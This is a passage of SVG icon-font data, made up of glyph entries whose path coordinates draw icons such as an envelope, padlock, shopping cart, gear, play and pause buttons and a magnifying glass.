	c0-3.864, 3.136-7, 7-7S 252,247.136, 252,251C 252,254.85, 248.864,258, 245,258z M 245,230c-3.864,0-7-3.15-7-7
	c0-3.864, 3.136-7, 7-7s 7,3.136, 7,7C 252,226.85, 248.864,230, 245,230z M 231,202c 3.864,0, 7,3.136, 7,7
	c0,3.85-3.136,7-7,7S 224,212.85, 224,209C 224,205.136, 227.136,202, 231,202z M 217,188c 3.864,0, 7,3.136, 7,7
	c0,3.85-3.136,7-7,7S 210,198.85, 210,195C 210,191.136, 213.136,188, 217,188z M 203,202c 3.864,0, 7,3.136, 7,7
	c0,3.85-3.136,7-7,7S 196,212.85, 196,209C 196,205.136, 199.136,202, 203,202z M 203,328C 199.136,328, 196,324.864, 196,321
	C 196,317.136, 199.136,314, 203,314S 210,317.136, 210,321C 210,324.864, 206.864,328, 203,328z M 217,314C 213.136,314, 210,310.864, 210,307C 210,303.136, 213.136,300, 217,300
	S 224,303.136, 224,307C 224,310.864, 220.864,314, 217,314z M 231,328C 227.136,328, 224,324.864, 224,321C 224,317.136, 227.136,314, 231,314S 238,317.136, 238,321
	C 238,324.864, 234.864,328, 231,328z M 245,314C 241.136,314, 238,310.864, 238,307C 238,303.136, 241.136,300, 245,300S 252,303.136, 252,307C 252,310.864, 248.864,314, 245,314z"  />
<glyph unicode="&#xe2a4;" d="M 406,328L 42,328 C 18.802,328,0,309.198,0,286l0-252 c0-23.184, 18.802-42, 42-42l 364,0 c 23.198,0, 42,18.816, 42,42L 448,286 C 448,309.198, 429.198,328, 406,328z M 38.374,20.14
	L 28.14,30.388l 115.486,115.472l 10.234-10.248L 38.374,20.14z M 409.626,20.14l-115.486,115.472l 10.234,10.248l 115.486-115.472L 409.626,20.14z M 238,113.45
	L 238,104 l-28,0 l0,9.45 L 28.042,282.15l 17.808,17.808L 224,134.786L 402.15,299.958l 17.808-17.808L 238,113.45z"  />
<glyph unicode="&#xe2a5;" d="M 406-64l-14,0 L 392,76 l 56,0 l0-98 C 448-45.184, 429.198-64, 406-64z M 392,244l 14,0 c 23.198,0, 42-18.816, 42-42l0-112 l-56,0 
	L 392,244 z M 84,76l 28.378,0 L 154,76 l 14,0 l 28,0 l0-14 l0-14 c0-7.742, 6.272-14, 14-14l 14,0 l0,0l 14,0 c 7.742,0, 14,6.258, 14,14l0,14 l0,14 l 84,0 l 28,0 l0-140 L 84-64 L 84,76 z M 252,90l0,28 l0,14 c0,7.742-6.258,14-14,14
	l-14,0 l0,0l-14,0 c-7.728,0-14-6.258-14-14l0-14 l0-28 l-28,0 l-14,0 L 112,90 L 84,90 L 84,244 l 28,0 L 112,279 C 112,336.988, 162.148,384, 224,384s 112-47.012, 112-105L 336,244 l 28,0 l0-154 l-28,0 L 252,90 z M 280,272
	c0,30.926-25.074,56-56,56s-56-25.074-56-56l0-28 l 112,0 L 280,272 z M0-22l0,98 l 56,0 l0-140 L 42-64 C 18.802-64,0-45.184,0-22z M0,202c0,23.184, 18.802,42, 42,42l 14,0 l0-154 L0,90 L0,202 z"  />
<glyph unicode="&#xe2a6;" d="M 446.796,308.4L 406,146c0-1.946-0.392-3.78-1.092-5.446
	c-1.428-3.36-4.102-6.048-7.448-7.462C 395.78,132.378, 393.932,132, 392,132L 126,132 l 11.2-56L 378,76 c 7.742,0, 14-6.258, 14-14s-6.258-14-14-14L 126,48 
	c-7.742,0-14,6.258-14,14L 58.8,328L 14,328 C 6.272,328,0,334.272,0,342s 6.272,14, 14,14l 56,0 c 7.742,0, 14-6.272, 14-14l 2.8-14L 434,328 c 7.742,0, 14-6.272, 14-14
	C 448,311.998, 447.552,310.122, 446.796,308.4z M 120.4,160L 168,160 L 168,300 L 92.4,300 L 120.4,160z M 252,300l-70,0 l0-140 l 70,0 L 252,300 z M 336,300l-70,0 l0-140 l 70,0 L 336,300 z M 350,300l0-140 l 31.542,0 l 35.462,140L 350,300 z
	 M 154,20c 23.198,0, 42-18.816, 42-42s-18.802-42-42-42s-42,18.816-42,42S 130.802,20, 154,20z M 154-36c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14
	S 146.258-36, 154-36z M 350,20c 23.198,0, 42-18.816, 42-42s-18.802-42-42-42s-42,18.816-42,42S 326.802,20, 350,20z M 350-36c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14
	s-14-6.258-14-14S 342.258-36, 350-36z"  />
<glyph unicode="&#xe2a7;" d="M 65.618,1.618c-87.486,87.472-87.486,229.306,0,316.778
	c 87.472,87.486, 229.306,87.486, 316.778,0c 87.486-87.472, 87.486-229.306,0-316.778C 294.91-85.868, 153.090-85.868, 65.618,1.618z M 342.79,278.79
	L 105.21,41.21c 65.618-65.618, 171.976-65.618, 237.594,0S 408.408,213.186, 342.79,278.79z"  />
<glyph unicode="&#xe2a8;" d="M 224,384C 100.282,384,0,283.704,0,160c0-123.704, 100.282-224, 224-224s 224,100.296, 224,224
			C 448,283.704, 347.718,384, 224,384z M 224-8C 131.222-8, 56,67.222, 56,160S 131.222,328, 224,328s 168-75.222, 168-168S 316.778-8, 224-8zM 322,188l-70,0 L 252,286 c0,7.728-6.258,14-14,14l-28,0 c-7.742,0-14-6.272-14-14l0-140 c0-7.742, 6.258-14, 14-14
	l 112,0 c 7.742,0, 14,6.258, 14,14l0,28 C 336,181.742, 329.742,188, 322,188z"  />
<glyph unicode="&#xe2a9;" d="M0-64l0,42 c0,62.776, 79.086,86.506, 183.386,96.068c-22.904,14.196-40.88,54.096-50.246,85.96
	C 133.098,160.028, 133.056,160, 133,160C 132.048,160, 112,185.074, 112,216c0,27.132-1.932,49.756, 14.098,54.88C 126.084,271.258, 126,271.622, 126,272
	c0,34.398, 17.794,64.54, 44.618,82.026C 177.548,371.316, 198.674,384, 224,384s 46.452-12.684, 53.382-29.974C 304.206,336.54, 322,306.398, 322,272
	c0-0.378-0.084-0.742-0.098-1.12C 337.932,265.756, 336,243.132, 336,216c0-30.926-22.232-56-21-56c-0.056,0-0.098,0.028-0.14,0.028
	c-9.366-31.85-27.342-71.764-50.246-85.96C 368.914,64.506, 448,41.658, 448-22l0-42 L0-64 z"  />
<glyph unicode="&#xe2aa;" d="M 377.86,123.39c 30.184-22.498, 56.056-43.092, 56.056-43.092l-36.834-64.596l-66.57,29.386
	l-61.684-36.078C 264.656-29.028, 260.834-64, 260.834-64l-73.668,0 l-8.176,73.234l-60.788,36.162l-67.298-29.708l-36.82,64.596
	c0,0, 25.438,20.496, 55.552,42.924l0,73.626 l-55.552,42.84l 36.82,64.61l 65.688-29.232l 65.212,35.378L 187.166,384l 73.668,0 l 5.334-73.262l 64.316-36.092
	l 66.612,29.652l 36.834-64.61l-56.056-42.994L 377.874,123.39 z M 224,216c-30.926,0-56-25.074-56-56s 25.074-56, 56-56s 56,25.074, 56,56S 254.926,216, 224,216z"  />
<glyph unicode="&#xe2ab;" d="M 364-8c-46.382,0-84,31.332-84,70s 37.618,70, 84,70c 9.87,0, 19.194-1.68, 28-4.298L 392,258 l-224-56l0-210 
	l-1.694,0 C 158.522-39.948, 124.628-64, 84-64c-46.382,0-84,31.332-84,70s 37.618,70, 84,70c 9.87,0, 19.194-1.68, 28-4.298L 112,314 l 56,14l 224,56l 56,0 l0-322 
	C 448,23.332, 410.382-8, 364-8z"  />
<glyph unicode="&#xe2ac;" d="M 336,160L 168,160 l0-56 c0-30.926, 25.074-56, 56-56l 28,0 l 42,0 l 42,0 c 30.926,0, 56-25.074, 56-56s-25.074-56-56-56l-42,0 l-42,0 l-28,0 
	C 131.222-64, 56,11.222, 56,104L 56,272 L 56,300 L 56,328 c0,30.926, 25.074,56, 56,56s 56-25.074, 56-56l0-28 l0-28 l 168,0 c 30.926,0, 56-25.074, 56-56S 366.926,160, 336,160z"  />
<glyph unicode="&#xe2ad;" d="M 422.422,278.412l-4.396-4.396l-80.164,80.206l 4.382,4.382c0,0, 19.194,25.382, 46.494,25.382
	c 12.026,0, 25.648-4.942, 39.886-19.18C 475.58,317.85, 422.422,278.412, 422.422,278.412z M 391.706,247.682L 118.776-25.374l0-0.014 l-0.028-0.014L 118.72-25.402 L0-64
	l 38.584,118.776l0,0 l0,0.014l0,0.042l 0.028,0 L 311.556,327.902l 3.528-3.542 M 38.64-25.346l 59.318,17.066l-40.516,43.148L 38.64-25.346z"  />
<glyph unicode="&#xe2ae;" d="M 448,76c0-15.456-12.544-28-28-28l0-30.576 c 16.268-5.796, 28-21.168, 28-39.424
	c0-23.184-18.816-42-42-42c-18.27,0-33.642,11.732-39.424,28L 336-36 c0-15.456-12.544-28-28-28s-28,12.544-28,28l-28,0 c0-15.456-12.544-28-28-28s-28,12.544-28,28l-28,0 
	c0-15.456-12.544-28-28-28s-28,12.544-28,28L 81.424-36 C 75.642-52.268, 60.256-64, 42-64c-23.198,0-42,18.816-42,42c0,18.27, 11.718,33.628, 28,39.424L 28,48 
	c-15.456,0-28,12.544-28,28s 12.544,28, 28,28l0,28 c-15.456,0-28,12.544-28,28s 12.544,28, 28,28l0,28 c-15.456,0-28,12.544-28,28s 12.544,28, 28,28L 28,302.576 
	C 11.718,308.358,0,323.744,0,342c0,23.198, 18.802,42, 42,42c 18.256,0, 33.642-11.718, 39.424-28L 112,356 c0,15.456, 12.544,28, 28,28s 28-12.544, 28-28l 28,0 
	c0,15.456, 12.544,28, 28,28s 28-12.544, 28-28l 28,0 c0,15.456, 12.544,28, 28,28s 28-12.544, 28-28l 30.576,0 C 372.358,372.282, 387.73,384, 406,384c 23.184,0, 42-18.802, 42-42
	c0-18.256-11.732-33.642-28-39.424L 420,272 c 15.456,0, 28-12.544, 28-28s-12.544-28-28-28l0-28 c 15.456,0, 28-12.544, 28-28s-12.544-28-28-28l0-28 C 435.456,104, 448,91.456, 448,76z
	 M 364,286c0,7.728-6.258,14-14,14L 98,300 C 90.272,300, 84,293.728, 84,286l0-252 c0-7.742, 6.272-14, 14-14l 252,0 c 7.742,0, 14,6.258, 14,14L 364,286 z"  />
<glyph unicode="&#xe2af;" d="M 420,160c0-108.248-87.752-196-196-196S 28,51.752, 28,160c0,47.712, 17.164,91.322, 45.5,125.3
	c 2.156,3.976, 5.152,7.434, 8.89,9.94c 0.63,0.658, 1.19,1.4, 1.834,2.044c 0.014-0.322, 0.154-0.63, 0.182-0.952C 88.452,298.6, 93.044,300, 98,300
	c 15.456,0, 28-12.544, 28-28c0-9.744-4.97-18.312-12.53-23.324C 113.96,248.312, 114.31,247.864, 114.814,247.5C 95.564,223.532, 84,193.138, 84,160
	c0-77.322, 62.678-140, 140-140s 140,62.678, 140,140c0,33.138-11.564,63.532-30.814,87.5c 0.504,0.364, 0.868,0.812, 1.344,1.176
	C 326.97,253.688, 322,262.256, 322,272c0,15.456, 12.544,28, 28,28c 4.956,0, 9.548-1.4, 13.594-3.668c 0.028,0.322, 0.168,0.63, 0.196,0.952
	c 0.63-0.644, 1.19-1.386, 1.834-2.044c 3.738-2.506, 6.72-5.964, 8.89-9.94C 402.822,251.322, 420,207.712, 420,160z M 238,132l-28,0 
	c-7.742,0-14,6.258-14,14L 196,342 c0,7.728, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.272, 14-14l0-196 C 252,138.258, 245.742,132, 238,132z"  />
<glyph unicode="&#xe2b0;" d="M 316.764,104.826l-0.14,0.084l-0.924-0.742l 1.316-0.196
	c0,0, 56.728-142.856, 44.842-163.562c-23.366-17.71-123.788,78.33-136.836,91.014l 0.084-0.49c0,0-112.826-112.672-138.95-92.526
	c-15.652,11.368, 41.258,168.42, 41.258,168.42l 0.266,0.042c-20.902,11.942-135.702,93.044-127.218,122.234C 0.714,246.674, 160.258,245.456, 165.34,244.77
	C 165.956,248.34, 193.298,384, 224.014,384c 30.87,0, 57.4-138.852, 57.722-140.784l 0.084,0 l 0.028-0.14l 0.35,0.742c0,0, 165.102,2.534, 165.354-14.714
	C 456.904,197.002, 316.764,104.826, 316.764,104.826z"  />
<glyph unicode="&#xe2b1;" d="M 196,104l-42,0 l0,0.854 C 149.38,104.378, 144.746,104, 140,104C 62.692,104,0,166.678,0,244
	C0,321.322, 62.692,384, 140,384s 140-62.678, 140-140l0-56 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-28 l0-56 c0-7.742-6.258-14-14-14l-56,0 
	c-7.742,0-14,6.258-14,14l0,56 l-14,0 l-14,0 l-42,0 c-7.728,0-14,6.258-14,14l0,56 l-56,0 l-14,0  M 112,328C 81.074,328, 56,302.926, 56,272s 25.074-56, 56-56s 56,25.074, 56,56S 142.926,328, 112,328z"  />
<glyph unicode="&#xe2b2;" d="M 252,188L 252,384 c 115.976,0, 196-80.024, 196-196L 252,188 z M 210-64C 94.024-64,0,30.024,0,146
	C0,272.476, 92.274,356, 224,356l0-196 l 196,0 C 420,44.024, 325.976-64, 210-64z"  />
<glyph unicode="&#xe2b3;" d="M 355.39,145.944c 0.658-67.774, 63.826-90.286, 64.554-90.622
	c-0.574-1.526-10.122-32.13-33.334-63.728c-20.076-27.286-40.852-54.46-73.64-55.006c-32.242-0.574-42.602,17.794-79.464,17.794
	c-36.848,0-48.356-17.248-78.848-18.368c-31.626-1.12-55.734,29.456-75.978,56.672c-41.356,55.636-72.94,157.206-30.492,225.75
	c 21.042,34.048, 58.688,55.608, 99.568,56.182c 31.080,0.518, 60.438-19.516, 79.408-19.516c 19.026,0, 54.684,24.066, 92.148,20.538
	c 15.694-0.602, 59.752-5.88, 88.018-44.366C 405.104,229.916, 354.76,202.7, 355.39,145.944z M 223.384,280.75c-3.654,25.746, 9.968,52.514, 25.536,69.328
	C 266.294,369.020, 295.61,383.104, 319.816,384c 3.094-26.236-8.26-52.57-25.046-71.526C 277.956,293.546, 250.39,278.804, 223.384,280.75z"  />
<glyph unicode="&#xe2b4;" d="M 378-64L 70-64 c-7.742,0-14,6.258-14,14L 56,244 l 14,0 l0,0l 112,0 c 7.742,0, 14,6.272, 14,14L 196,328 L 196,370 L 196,384 l 182,0 
	c 7.742,0, 14-6.272, 14-14l0-420 C 392-57.742, 385.742-64, 378-64z M 168,384l0-56 l0-56 L 56,272 L 168,384z"  />
<glyph unicode="&#xe2b5;" d="M 434,216L 280,216 L 280,370 c0,7.728-6.258,14-14,14l-84,0 c-7.742,0-14-6.272-14-14l0-154 L 14,216 
		c-7.742,0-14-6.272-14-14l0-84 c0-7.742, 6.258-14, 14-14l 154,0 l0-154 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14L 280,104 l 154,0 c 7.742,0, 14,6.258, 14,14l0,84 
		C 448,209.728, 441.742,216, 434,216z"  />
<glyph unicode="&#xe2b6;" d="M 14,216l 420,0 c 7.742,0, 14-6.272, 14-14l0-84 c0-7.742-6.258-14-14-14L 14,104 c-7.728,0-14,6.258-14,14l0,84 
	C0,209.728, 6.272,216, 14,216z"  />
<glyph unicode="&#xe2b7;" d="M 280,216l-84-140l-55.58,40.544L 140,118l-3.304,1.274l 2.576-1.89L 56,48l0-28 l 336,0 l0,28 l-42,126L 280,216z M 126,202c 23.184,0, 42,18.802, 42,42
		s-18.816,42-42,42s-42-18.802-42-42S 102.816,202, 126,202z M 434,356L 14,356 C 6.272,356,0,349.728,0,342l0-364 c0-7.742, 6.272-14, 14-14l 420,0 c 7.742,0, 14,6.258, 14,14L 448,342 
		C 448,349.728, 441.742,356, 434,356z M 420,6c0-7.742-6.258-14-14-14L 42-8 c-7.728,0-14,6.258-14,14L 28,314 c0,7.728, 6.272,14, 14,14l 364,0 c 7.742,0, 14-6.272, 14-14L 420,6 z"  />
<glyph unicode="&#xe2b8;" d="M 434,216L 14,216 c-7.728,0-14-6.272-14-14l 14-224c0-7.742, 6.272-14, 14-14l 392,0 c 7.742,0, 14,6.258, 14,14l 14,224C 448,209.728, 441.742,216, 434,216z M 434,300L 280,300 
		l-28,42c0,7.728-6.258,14-14,14L 70,356 C 62.272,356, 56,349.728, 56,342l0-42 L 14,300 C 6.272,300,0,293.728,0,286l0-28 c0-7.728, 6.272-14, 14-14l 420,0 c 7.742,0, 14,6.272, 14,14L 448,286 
		C 448,293.728, 441.742,300, 434,300z"  />
<glyph unicode="&#xe2b9;" d="M 434,300l-77,0 L 336,342c0,7.728-6.258,14-14,14L 126,356 C 118.258,356, 112,349.728, 112,342L 91,300L 14,300 
		C 6.272,300,0,293.728,0,286l0-308 c0-7.742, 6.272-14, 14-14l 420,0 c 7.742,0, 14,6.258, 14,14L 448,286 C 448,293.728, 441.742,300, 434,300z M 224,20c-61.852,0-112,50.148-112,112
		c0,61.852, 50.148,112, 112,112s 112-50.148, 112-112C 336,70.148, 285.852,20, 224,20z M 224,188c-30.926,0-56-25.074-56-56s 25.074-56, 56-56s 56,25.074, 56,56
		S 254.926,188, 224,188z"  />
<glyph unicode="&#xe2ba;" d="M 444.010-21.342c 5.334-5.334, 5.334-13.986,0-19.334l-19.334-19.334
	c-5.348-5.334-14-5.334-19.334,0l-135.352,135.352c-1.47,1.47-2.45,3.206-3.108,5.054C 239.12,60.11, 205.030,48, 168,48
	C 75.222,48,0,123.222,0,216C0,308.778, 75.222,384, 168,384c 92.778,0, 168-75.222, 168-168c0-37.030-12.11-71.12-32.396-98.882
	c 1.848-0.658, 3.584-1.624, 5.054-3.108L 444.010-21.342z M 168,328c-61.852,0-112-50.148-112-112c0-61.852, 50.148-112, 112-112s 112,50.148, 112,112
	C 280,277.852, 229.852,328, 168,328z"  />
<glyph unicode="&#xe2bb;" d="M 443.464,205.094c-2.954,14.378-7.35,28.56-13.076,42.098
	c-5.6,13.286-12.558,26.082-20.664,38.052c-8.008,11.858-17.206,23.002-27.328,33.124c-10.15,10.15-21.294,19.348-33.138,27.342
	c-11.97,8.106-24.794,15.050-38.066,20.664c-13.538,5.698-27.706,10.136-42.098,13.062C 254.352,382.46, 239.176,384, 224,384s-30.352-1.54-45.122-4.564
	c-14.378-2.926-28.546-7.35-42.084-13.062C 123.522,360.76, 110.712,353.816, 98.742,345.71C 86.884,337.716, 75.726,328.518, 65.604,318.368
	c-10.136-10.122-19.32-21.266-27.328-33.124C 30.17,273.288, 23.226,260.492, 17.612,247.206c-5.726-13.538-10.122-27.72-13.076-42.098
	C 1.526,190.366,0,175.176,0,160.028c0-15.218, 1.526-30.408, 4.536-45.15c 2.954-14.364, 7.336-28.546, 13.076-42.070
	c 5.614-13.272, 12.558-26.11, 20.664-38.080c 8.008-11.858, 17.206-22.988, 27.328-33.124c 10.136-10.122, 21.294-19.306, 33.138-27.314
	c 11.97-8.092, 24.794-15.050, 38.066-20.664c 13.538-5.74, 27.706-10.108, 42.084-13.076C 193.648-62.474, 208.824-64, 224-64s 30.352,1.526, 45.108,4.564
	c 14.392,2.968, 28.56,7.322, 42.098,13.076c 13.272,5.6, 26.082,12.558, 38.066,20.664c 11.858,8.008, 23.002,17.206, 33.138,27.314
	c 10.122,10.15, 19.32,21.28, 27.328,33.124c 8.092,11.956, 15.050,24.794, 20.664,38.080c 5.712,13.524, 10.122,27.706, 13.076,42.070
	C 446.474,129.62, 448,144.81, 448,160.028C 448,175.176, 446.474,190.366, 443.464,205.094z M 415.24,161.918c-2.758,0.602-67.508,14.518-133.252,6.258
	c-1.344,3.276-2.702,6.566-4.13,9.87c-3.962,9.38-8.26,18.648-12.712,27.762c 75.544,30.828, 106.232,75.18, 106.582,75.712
	C 398.58,248.928, 414.806,207.306, 415.24,161.918z M 350.35,303.556c-0.462-0.756-27.72-42.21-99.932-69.258c-32.704,60.088-68.628,107.8-71.512,111.594
	C 193.368,349.406, 208.474,351.296, 224,351.296C 272.44,351.296, 316.638,333.25, 350.35,303.556z M 178.192,345.738c-0.014-0.028-0.042-0.042-0.042-0.042
	s-0.224-0.056-0.574-0.126C 177.758,345.626, 177.982,345.668, 178.192,345.738z M 142.38,333.012c 2.548-3.416, 37.926-51.366, 71.036-110.222
	C 121.562,198.388, 41.846,199.34, 36.792,199.438C 49.224,258.686, 89.026,307.798, 142.38,333.012z M 32.704,160.028c0,2.030, 0.084,4.018, 0.168,6.034
	c 3.36-0.070, 97.888-2.212, 196.378,27.258c 5.502-10.724, 10.738-21.63, 15.526-32.522c-2.548-0.714-5.026-1.456-7.546-2.282
	c-103.236-33.362-155.596-126.252-155.596-126.252s 0.070-0.056, 0.084-0.084C 51.254,66.060, 32.704,110.86, 32.704,160.028z M 224-31.282
	c-46.298,0-88.76,16.464-121.856,43.834c 2.534-2.044, 4.284-3.346, 4.284-3.346s 36.666,79.982, 150.15,119.49c 0.406,0.168, 0.84,0.28, 1.26,0.406
	c 26.922-69.93, 38.038-128.534, 40.866-145.236C 275.73-25.878, 250.502-31.282, 224-31.282z M 330.904,1.338c-1.96,11.564-12.138,67.704-37.226,136.654
	c 61.754,9.87, 115.262-7.070, 119.224-8.372C 404.376,76.336, 373.856,30.346, 330.904,1.338z"  />
<glyph unicode="&#xe2bc;" d="M 419.076-49.608L 233.73,377.826C 232.106,381.578, 228.396,384, 224.308,384
		s-7.798-2.422-9.408-6.16L 28.924-49.594c-1.386-3.206-1.064-6.86, 0.84-9.758C 31.668-62.236, 34.888-64, 38.346-64L 196-64 l0,93.352 l-55.986,18.662
		c-7.742,0-14,6.258-14,14s 6.258,14, 14,14L 196,57.352L 196,146 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14l0-21 l 41.986,21c 7.742,0, 14-6.258, 14-14
		s-6.258-14-14-14L 252,97.014l0-49 l 69.986,42c 7.742,0, 14-6.258, 14-14s-6.258-14-14-14l-69.986-42L 252-64 l 157.654,0 c 3.472,0, 6.692,1.75, 8.582,4.648
		C 420.14-56.468, 420.434-52.786, 419.076-49.608z"  />
<glyph unicode="&#xe2bd;" d="M 368.676-64C 368.326,136.914, 193.018,301.106,0,301.484L0,384 c 236.824,0, 448-201.516, 448-448L 368.676-64 
	z M 300.65-63.972l-79.282,0 c 0.266,49.336-24.794,104.552-64.456,145.894C 117.474,123.6, 47.572,149.864, 0.196,149.612L 0.196,232.1 
	C 148.106,228.908, 297.64,89.202, 300.65-63.972z M 56.224,48.042c 30.898,0, 55.944-25.074, 55.944-56c0-30.912-25.046-55.986-55.944-55.986
	S 0.28-38.87, 0.28-7.958C 0.28,22.968, 25.326,48.042, 56.224,48.042z"  />
<glyph unicode="&#xe2be;" d="M 382.382,1.618c-87.472-87.486-229.306-87.486-316.778,0
	c-87.486,87.472-87.486,229.306,0,316.778c 87.472,87.486, 229.306,87.486, 316.778,0C 469.868,230.91, 469.868,89.090, 382.382,1.618z M 105.21,41.21
	c 58.842-58.842, 150.402-64.736, 216.006-18.018L 87.192,257.216C 40.474,191.612, 46.368,100.066, 105.21,41.21z M 342.79,278.79
	C 283.948,337.632, 192.388,343.526, 126.798,296.808l 234.024-234.010C 407.526,128.388, 401.632,219.948, 342.79,278.79z"  />
<glyph unicode="&#xe2bf;" d="M 224,384C 100.282,384,0,283.704,0,160c0-123.704, 100.282-224, 224-224s 224,100.296, 224,224
		C 448,283.704, 347.718,384, 224,384z M 252-5.48L 252,48 c0,7.742-6.258,14-14,14l-28,0 c-7.742,0-14-6.258-14-14l0-53.48 C 125.706,6.336, 70.252,61.72, 58.422,132L 112,132 
		c 7.742,0, 14,6.258, 14,14l0,28 c0,7.742-6.258,14-14,14L 58.52,188 C 70.336,258.308, 125.72,313.748, 196,325.578L 196,272 c0-7.728, 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.272, 14,14
		L 252,325.578 c 70.28-11.83, 125.664-67.27, 137.48-137.578L 336,188 c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 53.578,0 
		C 377.748,61.72, 322.294,6.336, 252-5.48z"  />
<glyph unicode="&#xe2c0;" d="M 84,384l0-448 l 280,223.678L 84,384z"  />
<glyph unicode="&#xe2c1;" d="M 154,384L 70,384 C 62.258,384, 56,377.728, 56,370l0-420 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14L 168,370 
				C 168,377.728, 161.742,384, 154,384z M 378,384l-84,0 c-7.742,0-14-6.272-14-14l0-420 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14L 392,370 C 392,377.728, 385.742,384, 378,384
				z"  />
<glyph unicode="&#xe2c2;" d="M 434,174l-72.072,0 c-2.548,18.998-7.714,36.834-14.826,53.102L 392,272c 7.742,0, 14,6.272, 14,14L 406,356 
	c0,7.728-6.258,14-14,14s-14-6.272-14-14l0-70 l-46.284-30.856c-7.126,10.514-15.162,20.048-24.15,28.070C 303.352,339.802, 267.554,384, 224,384
	s-79.352-44.198-83.58-100.786C 131.446,275.206, 123.396,265.672, 116.284,255.144L 70,286L 70,356 c0,7.728-6.272,14-14,14S 42,363.728, 42,356l0-70 c0-7.728, 6.272-14, 14-14
	l 44.898-44.898C 93.786,210.834, 88.62,192.998, 86.072,174L 14,174 c-7.728,0-14-6.258-14-14s 6.272-14, 14-14l 72.002,0 c 1.554-11.676, 4.158-50.89, 7.518-61.6
	l-40.838-51.072C 46.592,31.788, 42,26.552, 42,20l0-70 c0-7.742, 6.272-14, 14-14s 14,6.258, 14,14l0,70 l 35.294,35.294C 128.926,8.87, 170.044-22, 217-22
	c 2.366,0, 4.662,0.42, 7,0.588C 226.338-21.58, 228.634-22, 231-22c 46.956,0, 88.074,30.87, 111.706,77.294L 378,20l0-70 c0-7.742, 6.258-14, 14-14
	s 14,6.258, 14,14l0,70 c0,6.552-4.592,11.788-10.668,13.314L 354.48,84.4c 3.36,10.724, 5.964,49.924, 7.518,61.6L 434,146 c 7.742,0, 14,6.258, 14,14
	S 441.742,174, 434,174z"  />
<glyph unicode="&#xe2c3;" d="M 434,328L 14,328 C 6.272,328,0,321.728,0,314l0-308 c0-7.742, 6.272-14, 14-14l 420,0 c 7.742,0, 14,6.258, 14,14L 448,314 
			C 448,321.728, 441.742,328, 434,328z M 420,34c0-7.742-6.258-14-14-14L 42,20 c-7.728,0-14,6.258-14,14L 28,286 c0,7.728, 6.272,14, 14,14l 364,0 c 7.742,0, 14-6.272, 14-14L 420,34 z
			 M 132.972,214.026L 79.002,268.010c-5.25,5.25-13.762,5.25-19.012,0s-5.25-13.762,0-19.012L 107.002,202l-47.012-47.012
			c-5.25-5.25-5.25-13.748,0-18.998s 13.762-5.25, 19.012,0l 53.97,53.97c 1.064,0.588, 2.142,1.12, 3.038,2.016
			C 138.768,194.734, 140,198.388, 139.846,202c 0.14,3.612-1.078,7.266-3.836,10.010C 135.114,212.906, 134.036,213.438, 132.972,214.026z M 266,160l-84,0 
			c-7.728,0-14-6.272-14-14c0-7.742, 6.272-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14C 280,153.728, 273.742,160, 266,160z"  />
<glyph unicode="&#xe2c4;" d="M 406,384L 42,384 C 34.272,384, 28,377.728, 28,370l0-420 c0-7.742, 6.272-14, 14-14l 364,0 c 7.742,0, 14,6.258, 14,14L 420,370 
			C 420,377.728, 413.742,384, 406,384z M 70-8c-7.728,0-14,6.258-14,14s 6.272,14, 14,14s 14-6.258, 14-14S 77.728-8, 70-8z M 70,48c-7.728,0-14,6.258-14,14
			s 6.272,14, 14,14s 14-6.258, 14-14S 77.728,48, 70,48z M 70,104c-7.728,0-14,6.258-14,14s 6.272,14, 14,14s 14-6.258, 14-14S 77.728,104, 70,104z M 70,160
			c-7.728,0-14,6.272-14,14s 6.272,14, 14,14s 14-6.272, 14-14S 77.728,160, 70,160z M 70,216c-7.728,0-14,6.272-14,14s 6.272,14, 14,14s 14-6.272, 14-14S 77.728,216, 70,216
			z M 70,272C 62.272,272, 56,278.272, 56,286s 6.272,14, 14,14s 14-6.272, 14-14S 77.728,272, 70,272z M 70,328C 62.272,328, 56,334.272, 56,342s 6.272,14, 14,14s 14-6.272, 14-14S 77.728,328, 70,328z
			 M 336-22c0-7.742-6.258-14-14-14L 126-36 c-7.728,0-14,6.258-14,14L 112,118 c0,7.742, 6.272,14, 14,14l 196,0 c 7.742,0, 14-6.258, 14-14L 336-22 z M 336,174
			c0-7.728-6.258-14-14-14L 126,160 c-7.728,0-14,6.272-14,14L 112,342 c0,7.728, 6.272,14, 14,14l 196,0 c 7.742,0, 14-6.272, 14-14L 336,174 z M 378-8c-7.742,0-14,6.258-14,14
			s 6.258,14, 14,14s 14-6.258, 14-14S 385.742-8, 378-8z M 378,48c-7.742,0-14,6.258-14,14s 6.258,14, 14,14s 14-6.258, 14-14S 385.742,48, 378,48z M 378,104
			c-7.742,0-14,6.258-14,14s 6.258,14, 14,14s 14-6.258, 14-14S 385.742,104, 378,104z M 378,160c-7.742,0-14,6.272-14,14s 6.258,14, 14,14s 14-6.272, 14-14
			S 385.742,160, 378,160z M 378,216c-7.742,0-14,6.272-14,14s 6.258,14, 14,14s 14-6.272, 14-14S 385.742,216, 378,216z M 378,272c-7.742,0-14,6.272-14,14s 6.258,14, 14,14
			s 14-6.272, 14-14S 385.742,272, 378,272z M 378,328c-7.742,0-14,6.272-14,14s 6.258,14, 14,14s 14-6.272, 14-14S 385.742,328, 378,328z"  />
<glyph unicode="&#xe2c5;" d="M 392,384L 56,384 C 48.272,384, 42,377.728, 42,370l0-84 c0-7.728, 6.272-14, 14-14l 14,0 c 7.728,0, 14,6.272, 14,14l 28,42l 84,0 
	l0-336 l-70-28c-7.728,0-14-6.258-14-14s 6.272-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14l-70,28L 252,328 l 84,0 l 28-42c0-7.728, 6.258-14, 14-14l 14,0 
